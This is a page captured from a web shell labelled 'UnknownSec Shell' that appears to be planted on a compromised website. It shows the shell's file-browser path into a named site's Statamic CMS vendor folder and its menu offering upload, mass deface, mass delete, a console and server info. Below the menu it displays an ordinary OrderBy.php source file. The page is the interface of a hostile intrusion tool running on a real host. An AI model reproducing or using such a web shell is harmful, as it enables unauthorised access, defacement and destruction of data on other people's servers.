shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
mpc.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Query
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
OrderBy.php
<?php namespace Statamic\Query; class OrderBy { public $sort; public $direction; /** * Instantiate order by object. */ public function __construct(string $sort, string $direction) { $direction = strtolower($direction); if (! in_array($direction, ['asc', 'desc'], true)) { throw new \InvalidArgumentException('Order direction must be "asc" or "desc".'); } $this->sort = $sort; $this->direction = $direction; } /** * Instantiate order by object. * * @return static */ public static function parse(string $orderBy) { $parts = explode(':', $orderBy); $lastPart = last($parts); if (in_array($lastPart, ['asc', 'desc'])) { $direction = $lastPart; $sort = implode('->', array_slice($parts, 0, -1)); } else { $direction = 'asc'; $sort = str_replace(':', '->', $orderBy); } return new static($sort, $direction); } /** * Reverse order by direction. * * @return $this */ public function reverse() { $this->direction = $this->direction === 'asc' ? 'desc' : 'asc'; return $this; } /** * Convert order by to string, ie) 'title:desc'. * * @return string */ public function toString() { return "{$this->sort}:{$this->direction}"; } /** * Convert order by to string, ie) 'title:desc'. * * @return string */ public function __toString() { return $this->toString(); } }
© 2026 UnknownSec